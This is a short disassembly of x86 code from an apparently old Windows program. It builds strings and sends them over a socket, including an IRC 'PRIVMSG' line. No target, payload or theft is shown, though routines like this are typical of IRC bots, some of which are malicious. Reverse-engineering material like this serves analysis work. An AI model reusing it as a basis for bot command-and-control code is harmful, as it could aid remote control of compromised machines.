jmp 0x402ae5
push 0x41392f
lea eax, [ebp - 0x228]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
or ebx, ebx
jne 0x402aa5
lea ecx, [ebp - 0x228]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x402a8a
push 0
push eax
lea edi, [ebp - 0x228]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
jmp 0x402ae3
lea eax, [ebp - 0x228]
push eax
push ebx
push str.PRIVMSG__s_:_s
lea eax, [ebp - 0x428]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
lea ecx, [ebp - 0x428]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x402aca
push 0
push eax
lea edi, [ebp - 0x428]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret